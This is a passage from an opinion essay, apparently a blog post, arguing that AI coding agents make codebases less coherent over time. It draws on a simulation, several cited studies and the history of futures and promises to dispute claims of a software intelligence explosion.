&lt;li&gt;&lt;strong&gt;Lower coherence&lt;/strong&gt; means the actor rushes through the problem more quickly and makes snap decisions, preferring simple solutions without considering the context around them, and overall adding complexity to the graph.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher coherence&lt;/strong&gt; means the actor takes longer and approaches each problem with more thought, and thus has a higher chance of making a less complex change or even removing complexity.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At first, the lower-coherence actor moves very quickly compared to the higher-coherence actor. However, as the graph changes, it impacts the walks as well. Each of the following slows down the actor&#39;s progress:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Higher connection degree (number of edges)&lt;/strong&gt;. This represents the added burden of having to pull in the context of each adjacent node, at least partially, in order to understand its impact on the current node.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transitions between colors&lt;/strong&gt;. There&#39;s overhead when switching paradigms as you implement a feature, and it requires the actor to again gain context and understanding of each paradigm AND how they connect.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path length&lt;/strong&gt;. The walk itself has a chance to extend further as there are more connections and transitions needed. This represents the actor needing to read more and revisit more in order to get all of the context needed to implement the feature, and it can increase indefinitely until you hit the &lt;em&gt;size of the entire system&lt;/em&gt; (meaning, in order to make a change &lt;em&gt;anywhere&lt;/em&gt;, you need to understand &lt;em&gt;everything&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If we take the distribution of features built over time and coherence, we can plot the result and see a shape that should look familiar to any engineer: The &lt;strong&gt;Sweet Spot&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;Sweet Spot&lt;/strong&gt;, the system is relatively coherent and we actively invest in it to ensure it stays that way. There are a few dominant paradigms, but there&#39;s enough jitter that things can change and adapt over time, and we aren&#39;t overly perfectionist about everything.&lt;/p&gt;
&lt;p&gt;Above the &lt;strong&gt;Sweet Spot&lt;/strong&gt;, we work extremely hard to make sure every new node fits into the existing paradigms, and we remove complexity at every turn. This takes much more time and slows down feature work, but in the worst case it still produces a highly coherent system that can be iterated through &lt;em&gt;relatively&lt;/em&gt; quickly.&lt;/p&gt;
&lt;p&gt;Below the &lt;strong&gt;Sweet Spot&lt;/strong&gt;, the drop-off is precipitous. We very quickly lose speed as the codebase becomes exponentially more complex. If the coherence factor is &lt;em&gt;negative&lt;/em&gt;, and no care is given to maintaining coherence, then the time to ship a feature grows without any apparent bound.&lt;/p&gt;
&lt;p&gt;We can also see how different strategies affect the system over time from different starting points. If we start with a highly coherent system and use a mostly decoherent strategy (a coherence factor of +0.2, where some coherence is maintained but shortcuts are still taken), then the graph devolves slowly at first before hitting some inflection points and entering the Trap.&lt;/p&gt;
&lt;p&gt;By contrast, if we take a system that starts out decoherent and apply effort to recohere it over time, then we can move the needle toward coherence and accelerate.&lt;/p&gt;
&lt;p&gt;Now, critics may note that this simulation has arbitrary weights and does not definitively &lt;em&gt;prove&lt;/em&gt; that this is how complex systems will evolve. This is not my assertion.&lt;/p&gt;
&lt;p&gt;What the simulation demonstrates is that this curve can exist as an &lt;em&gt;emergent&lt;/em&gt; behavior of simple rules and local decisions. Actors changing the system today can improve or degrade the ability of future actors to change the system tomorrow. This is an obvious truth, but I think the implications of it can be quite easily lost if we can&#39;t actually &lt;em&gt;see&lt;/em&gt; the complexity like we can in the real world, with pipes and wires and physical hardware.&lt;/p&gt;
&lt;p&gt;So, we come back to the question on agents: Can agents work on these systems and maintain coherence? Or do they, over time, introduce decoherence even &lt;em&gt;slightly&lt;/em&gt;? Because there is another crucial risk to consider here: decoherence does not grow over &lt;em&gt;time&lt;/em&gt;, but with &lt;em&gt;change&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If you build a decoherent system today, and then stop changing it for 10 years, and come back to it, it will be exactly as decoherent as you left it. It may have other forms of technical debt, but those are not related to decoherence. Decoherence grows or shrinks &lt;em&gt;only&lt;/em&gt; when changes are made to the system.&lt;/p&gt;
&lt;p&gt;And if you&#39;re making a lot of changes really quickly, you can also grow decoherent &lt;em&gt;just as quickly&lt;/em&gt;. Even a very slight rate of increasing decoherence can spiral out of control before we even know it.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Here&#39;s the thing: We&#39;ve been dealing with this phenomenon for much, much longer than agentic development has been around. Every single company I have ever worked for had massive amounts of decoherence, and less-experienced engineers and engineers under pressure also tend to add more decoherence over time, so it&#39;s not like humans are perfect here.&lt;/p&gt;
&lt;p&gt;In fact, I would &lt;em&gt;venture to say&lt;/em&gt; that most companies operate somewhere well below the &lt;strong&gt;Sweet Spot&lt;/strong&gt;, and indeed operate in a continuous cycle where:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Decoherence grows to the point that no features can be completed in a reasonable amount of time.&lt;/li&gt;
&lt;li&gt;A large effort is made to reduce decoherence.&lt;/li&gt;
&lt;li&gt;The effort produces results and features begin shipping again at a slow-but-acceptable pace.&lt;/li&gt;
&lt;li&gt;The effort is not completed, or if it is, it still doesn&#39;t push us all the way to the &lt;strong&gt;Sweet Spot&lt;/strong&gt;. Resources and focus are shifted, and the system begins to decohere again.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Wash, rinse, repeat. Some companies may recohere faster and longer than others, and a very small percentage manage to stay in the &lt;strong&gt;Sweet Spot&lt;/strong&gt; over time, but it requires a dedicated engineering culture of excellence (Apple comes to mind; say what you will about the state of macOS, I would take it any day over Windows).&lt;/p&gt;
&lt;p&gt;The question is, are agents actually &lt;em&gt;better&lt;/em&gt; than the average engineering culture at this point? Significantly better, at that?&lt;/p&gt;
&lt;p&gt;So far we have not seen evidence of this. If anything, the early research points the other way.&lt;/p&gt;
&lt;p&gt;A &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fion.ac/jellyfish.pdf&quot;&gt;Harvard study&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-4&quot;&gt;[4]&lt;/a&gt;&lt;/sup&gt; of 718 companies found that adopting coding agents raised the amount of code written by 30%, but did not produce a measurable increase in finished work. The extra code piled up in review instead: pull requests took 49% longer to review, and nearly twice as many were sent back for changes. A &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://arxiv.org/abs/2511.04427&quot;&gt;Carnegie Mellon study&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-5&quot;&gt;[5]&lt;/a&gt;&lt;/sup&gt; of open source projects that adopted Cursor found a large jump in velocity that did not last, alongside an increase in code complexity that did, and that the added complexity was itself a major cause of the later slowdown. And an &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://arxiv.org/abs/2603.28592&quot;&gt;analysis of over 300,000 AI-authored commits&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-6&quot;&gt;[6]&lt;/a&gt;&lt;/sup&gt; across more than 6,000 repositories found that about one in eleven of them, and up to one in seven depending on the assistant, introduced at least one quality issue, and that nearly a quarter of those issues are still sitting in the code today.&lt;/p&gt;
&lt;p&gt;More code, the same amount of finished work, and more complexity left behind with every change.&lt;/p&gt;
&lt;h2&gt;Progression&lt;/h2&gt;
&lt;p&gt;Now, let&#39;s address the primary counterargument, which is the &lt;em&gt;technological progression&lt;/em&gt; argument. It goes something like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The first generation of agents will produce inferior-quality code, but as long as it&#39;s &amp;quot;good enough&amp;quot; then they can still replace humans for most coding tasks, and we can build our processes around them in anticipation of more capable agents in the future.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is effectively the story of automation during the Industrial Revolution, where the first generation of textile machines was indeed much worse than humans, but &lt;em&gt;eventually&lt;/em&gt; they did catch up. As &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pluralistic.net/2025/05/27/rancid-vibe-coding/#:~:text=Now%2C%20it&amp;#x27;s%20true,the%20fabric%20that&quot;&gt;Cory Doctorow&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-7&quot;&gt;[7]&lt;/a&gt;&lt;/sup&gt; has pointed out, industrialists raced to adopt automation because it allowed them to discipline labor and consolidate power at the expense of the workers and the public, who had to endure far worse working conditions &lt;em&gt;and&lt;/em&gt; worse quality goods for generations.&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-8&quot;&gt;[8]&lt;/a&gt;&lt;/sup&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-9&quot;&gt;[9]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/engels-pause.dark.svg&quot; alt=&quot;Output per worker and real wages in Britain from 1780 to 1900, indexed to 1800. From 1800 to 1830, output per worker grows 0.63% a year while real wages grow 0.00% a year. From 1830 to 1860 output grows 1.12% a year and wages 0.86%, and from 1860 to 1900 output grows 1.03% a year and wages 1.61%. Over the same stretch, the share of income going to profits doubles from about 20% to over 40%.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/engels-pause.light.svg&quot; alt=&quot;Output per worker and real wages in Britain from 1780 to 1900, indexed to 1800. From 1800 to 1830, output per worker grows 0.63% a year while real wages grow 0.00% a year. From 1830 to 1860 output grows 1.12% a year and wages 0.86%, and from 1860 to 1900 output grows 1.03% a year and wages 1.61%. Over the same stretch, the share of income going to profits doubles from about 20% to over 40%.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;But I want to build on this further, because there was a core reason that it worked for textiles: The machines produced inferior products, but they met a minimum bar.&lt;/p&gt;
&lt;p&gt;The machines themselves were also very well designed, for what they were. I spoke recently to a mechanical engineer who extolled the quality of those generations of machines, how well they operated, how long they would last. Yes, they may have produced low-quality slop, but they produced it quickly and tirelessly and for many, many years, until the next generation came along and replaced them with incremental improvements. And crucially, while the machine was working, there was no increase in &lt;em&gt;decoherence&lt;/em&gt;. Wear and tear, yes. Generational advances, yes. But not decoherence.&lt;/p&gt;
&lt;p&gt;Now, here&#39;s the rub: The logic of this argument is assuming that &lt;em&gt;code&lt;/em&gt; is analogous to &lt;em&gt;textiles&lt;/em&gt;. That is, code is the final product that users will pay for. But nobody wants to buy code. They want to buy &lt;em&gt;applications&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In other words, code is not the textile, but the textile-machine. Every time a screen is rendered, a form is submitted, a record is updated, that is the &amp;quot;product&amp;quot; that the code produces. This is why code has been so immensely profitable, because every additional customer requires no additional overhead. The raw materials are bits and bytes of electricity on chips, and the product is information and processes encoded into those bits.&lt;/p&gt;
&lt;p&gt;A more accurate analogy would be if we somehow went back in time and made not just a textile-machine, but a machine that &lt;em&gt;designed&lt;/em&gt; textile-machines. That iterated on the next generation of textile manufacturing on its own, semi- or perhaps fully autonomously. This is something that has never existed before, and is unprecedented in the history of automation.&lt;/p&gt;
&lt;p&gt;This is the dream of recursive self-improvement. Of an intelligence explosion, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Technological_singularity&quot;&gt;a technological singularity&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-10&quot;&gt;[10]&lt;/a&gt;&lt;/sup&gt;. This is the dream of AI in the first place.&lt;/p&gt;
&lt;p&gt;So, how has that been going?&lt;/p&gt;
&lt;h2&gt;Singularity&lt;/h2&gt;
&lt;p&gt;Well, the goalposts have been &lt;em&gt;subtly shifting&lt;/em&gt;. In May of this year, Tom Reed, a skeptic of the intelligence explosion theory, coined the term &amp;quot;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://meagreprotestanthistory.substack.com/p/the-goodhart-singularity&quot;&gt;the Goodhart Singularity&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-11&quot;&gt;[11]&lt;/a&gt;&lt;/sup&gt;&amp;quot; to describe the limitations of AI iterating in a bubble without new data about the real world. This is based on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Goodhart%27s_law&quot;&gt;Goodhart&#39;s law&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-12&quot;&gt;[12]&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When a measure becomes a target, it ceases to be a good measure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Marilyn Strathern, paraphrasing Charles Goodhart&lt;/p&gt;
&lt;p&gt;In a post from last month, Tom Davidson, a senior research fellow at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.forethought.org/people/tom-davidson&quot;&gt;Forethought&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-13&quot;&gt;[13]&lt;/a&gt;&lt;/sup&gt;, conceded that data bottlenecks &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.forethought.org/research/data-bottlenecks&quot;&gt;will slow down progress&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-14&quot;&gt;[14]&lt;/a&gt;&lt;/sup&gt; once AI reaches what he calls the &amp;quot;human-quality ceiling&amp;quot;: the point where there&#39;s no better human demonstration left to learn from, and AI has to manufacture higher-quality data than anything that exists. Davidson has written extensively about models of AI takeoff speeds, and later forecasts built on his work, most prominently the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://ai-2027.com/research/takeoff-forecast&quot;&gt;AI 2027 scenario&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-15&quot;&gt;[15]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;So the fact that Davidson has wavered, if even slightly, is notable. But he argues it&#39;s a one-time slowdown, not a wall, and in general, those expecting a fast takeoff still think that it will be able to recursively self-improve on its own with relatively little data, and that this process could spiral out of control in isolation in a data center and lead to the birth of a super-intelligence.&lt;/p&gt;
&lt;p&gt;The way they expect to be able to do this is via what they call a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.forethought.org/research/will-ai-r-and-d-automation-cause-a-software-intelligence-explosion&quot;&gt;Software Intelligence Explosion&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-16&quot;&gt;[16]&lt;/a&gt;&lt;/sup&gt; (SIE). Specifically, a subtle but load-bearing moment in the argument comes from Davidson&#39;s post on data bottlenecks:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rather than building RL environments that teach the construction of real-world software artefacts, AI must construct RL environments that teach AI to make better software than anything that exists in the real world.&lt;/p&gt;
&lt;p&gt;To be clear, I think this will be possible! It is easier to construct difficult challenges and verify their answers than it is to solve them. Already today, human experts build RL environments that produce data above the human-quality ceiling. Data quality will not hit a wall at the human ceiling.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&#39;s break this down.&lt;/p&gt;
&lt;p&gt;What Davidson&#39;s saying here is that AI must be able to make better software than anything that exists in the real world, largely in isolation. To do this, it will need to be able to make a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Reinforcement_learning&quot;&gt;Reinforcement Learning environment&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-17&quot;&gt;[17]&lt;/a&gt;&lt;/sup&gt; that can produce that software. The way this works is essentially:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Define a goal&lt;/li&gt;
&lt;li&gt;Define a set of things you can do&lt;/li&gt;
&lt;li&gt;Use an algorithm to try out a lot of different methods to accomplish the goal&lt;/li&gt;
&lt;li&gt;Measure how close you get to accomplishing it, and how good your method is&lt;/li&gt;
&lt;li&gt;Find the best method(s)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For an SIE to occur, the AI would need to be able to do this entire thing on its own to discover better and better &lt;em&gt;algorithms&lt;/em&gt; for learning, and that&#39;s the important part. It&#39;s not about producing better software per se, it&#39;s about producing better algorithms for &lt;em&gt;learning and improving&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The Goodhart Singularity effectively argued that an AI, in isolation in a data center, would not be able to do this for most real-world tasks of consequence due to the measurement step. If you want to figure out how to build a better car or rocket or computer chip, you might be able to build a simulation and try things out, but you would still need to test against the real world to validate your findings, or you would eventually drift further and further away from reality as you pushed the designs to more extreme places. This introduces a rate limit which would slow things down significantly.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/drift.dark.svg&quot; alt=&quot;Three paths from one starting point. Reality wanders. A path checked against it drifts a little and snaps back at every check. A path that is never checked curves steadily away.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/drift.light.svg&quot; alt=&quot;Three paths from one starting point. Reality wanders. A path checked against it drifts a little and snaps back at every check. A path that is never checked curves steadily away.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;But this isn&#39;t true for some domains, which is what Davidson is saying in the second part. For games like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/AlphaZero&quot;&gt;Go or chess&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-18&quot;&gt;[18]&lt;/a&gt;&lt;/sup&gt;, the rules of the game are the entire world and there are clear victory conditions, so it&#39;s possible to run in isolation and find better and better strategies, and also to find better algorithms for &lt;em&gt;finding&lt;/em&gt; better strategies. The same is true for more complex games like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/AlphaStar_(software)&quot;&gt;StarCraft&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-19&quot;&gt;[19]&lt;/a&gt;&lt;/sup&gt; or &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/OpenAI_Five&quot;&gt;Dota&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-20&quot;&gt;[20]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;But these are &lt;em&gt;games&lt;/em&gt;, and we can do this because the victory conditions are clear and simple and the rules or environments are very limited. In order to get our explosion, we need to be able to apply these methods to &lt;em&gt;something that matters&lt;/em&gt;, and we need to be able to &lt;em&gt;verify&lt;/em&gt; that &lt;strong&gt;in the bubble&lt;/strong&gt; of a data center, without checking against the outside world.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/rl-loop.dark.svg&quot; alt=&quot;Two five-step learning loops. In a game the loop closes on itself. For anything that matters, step four, measuring, has to leave the room and wait on the real world.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/rl-loop.light.svg&quot; alt=&quot;Two five-step learning loops. In a game the loop closes on itself. For anything that matters, step four, measuring, has to leave the room and wait on the real world.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;That brings us to software. I think that SIE proponents have really latched onto software because they see it as a way to bridge this gap. Software can run in isolation, and you can test it in isolation very easily and quickly. That&#39;s perfect for creating an RL environment, and they think that eventually, we will be able to build one that doesn&#39;t require syncing with the real world.&lt;/p&gt;
&lt;p&gt;Because after all, it&#39;s &lt;em&gt;software&lt;/em&gt;. It can do just about anything, right?&lt;/p&gt;
&lt;p&gt;You can see how this would feel so natural to those in Silicon Valley. We pride ourselves on being very intelligent and being able to solve big problems. A significant portion of computer science education is all about logically proving properties of software and algorithms and the like. Will this program complete? Will this sorting algorithm be fast? How fast? Will this system be safe and not crash for all cases that could ever possibly exist?&lt;/p&gt;
&lt;p&gt;We&#39;re used to thinking about problems in this way, and used to the idea that software has no limits. Tech took over the world, so it&#39;s only a natural extension of thinking that if you can teach a machine to write code, eventually, it will be able to teach itself to be better at writing code.&lt;/p&gt;
&lt;p&gt;And then, eventually, the machine will take over the world too.&lt;/p&gt;
&lt;h2&gt;Better Software&lt;/h2&gt;
&lt;p&gt;The problem with this viewpoint is that it fully misses what actually makes software &lt;em&gt;good&lt;/em&gt;, which is coherence.&lt;/p&gt;
&lt;p&gt;Allow me to elaborate. Software is a tool to accomplish a goal in the real world. That goal may be many steps removed, through many abstractions, but whether or not it succeeds is ultimately determined by how well it solves that goal.&lt;/p&gt;
&lt;p&gt;You might think, ok, but once you have the software and it solves the goal, can&#39;t you use that as the output to target? And then the AI could just iterate on better ways to achieve those goals?&lt;/p&gt;
&lt;p&gt;If we define &amp;quot;better&amp;quot; as something simple and easily measurable, like lines of code, speed, memory, or efficiency, then yes. These are all important, but if we treat them as the target, we&#39;ll end up with software that is small and fast and &lt;em&gt;completely decoherent&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Code gets fast by skipping work, and it can only skip work by assuming things about the rest of the system: this list is already sorted, that value is never zero. Every one of those assumptions is a hidden connection that nobody wrote down. Optimized native code sits under abstractions for a reason: we need it for performance, so we seal it in a box where its assumptions can&#39;t leak. If we wrote all code like that, it would be a tangled mess. A practical example in JavaScript is combining multiple logical classes into a single class to keep hot paths &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mrale.ph/blog/2015-01-11-whats-up-with-monomorphism.html&quot;&gt;monomorphic&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-21&quot;&gt;[21]&lt;/a&gt;&lt;/sup&gt;. It&#39;s always a huge pain, but it pays off as long as you never have to fiddle with it.&lt;/p&gt;
&lt;p&gt;That would be fine if we only had to write software once and never touch it again. But that&#39;s never true in practice. Because software &lt;em&gt;is&lt;/em&gt; the never-ending &lt;em&gt;Ship of Theseus&lt;/em&gt;. Applications and libraries and frameworks must evolve over time to meet changing conditions on the ground: real-world constraints that shift and evolve as we change how society works, as we discover more about the natural world, and as we push the limits of what we can achieve.&lt;/p&gt;
&lt;p&gt;So good software is adaptable over time. You can take the existing technological capital (all of the software we have written before), and you can quickly recombine it to solve new problems on the fly.&lt;/p&gt;
&lt;p&gt;And what makes it adaptable is &lt;em&gt;coherence&lt;/em&gt;. Most of the big advances in computer programming and software quality have been about making software more coherent, and the only way to test if it is more coherent is with real-world feedback.&lt;/p&gt;
&lt;p&gt;Let&#39;s break it down with a really concrete example: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Futures_and_promises&quot;&gt;futures&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-22&quot;&gt;[22]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Futures make asynchronous programming easier in some really fundamental ways. Before futures, there were lots of ways you could handle async, and it was a predictably chaotic mess. Specifically, a decoherent one: many locally sensible ways of doing the same thing, none of which fit together.&lt;/p&gt;
&lt;p&gt;Developers would have to live within that mess, and they would have to carefully and thoughtfully navigate between all of the different types of async that any one app might have. If you missed a step or forgot something, you would have difficult-to-track-down bugs and issues. And the code itself read like a horror show, as callbacks multiplied and as apps got more complex and had more and more asynchrony to handle.&lt;/p&gt;
&lt;p&gt;Futures were first introduced as a concept in the 1970s, with the core idea being that they were a &lt;em&gt;placeholder&lt;/em&gt; for a future value. The first concrete implementation was in MultiLisp, in 1985. But they didn&#39;t make it into the mainstream until the 2000s, when Java added them in 2004, and they didn&#39;t get popular until the 2010s when chainable promises were first introduced into JavaScript and C# shipped Task.&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-22&quot;&gt;[22]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/futures-timeline.dark.svg&quot; alt=&quot;Timeline of futures: the idea in the 1970s, MultiLisp in 1985, Java in 2004, and JavaScript promises and C# Task in the 2010s, about 35 years from idea to mainstream.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/futures-timeline.light.svg&quot; alt=&quot;Timeline of futures: the idea in the 1970s, MultiLisp in 1985, Java in 2004, and JavaScript promises and C# Task in the 2010s, about 35 years from idea to mainstream.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;There were two main reasons for this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The first futures APIs worked, but were clunky. You could pass around a future, but when you tried to read the value it would block, which meant you had to be careful about when you did it. They also weren&#39;t independently chainable, so you couldn&#39;t really &lt;em&gt;fork&lt;/em&gt; the future easily.&lt;/li&gt;
&lt;li&gt;Futures introduce a decent amount of overhead. You have to create a wrapper object to track the state each time, rather than just storing a function pointer, for instance.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;However, over time we found the APIs that worked well, worked out the kinks, and we realized that the overhead was worth it because it made it easier to reason about and combine larger systems (compute and memory getting cheaper didn&#39;t hurt either).&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bringing this back to AI.&lt;/p&gt;
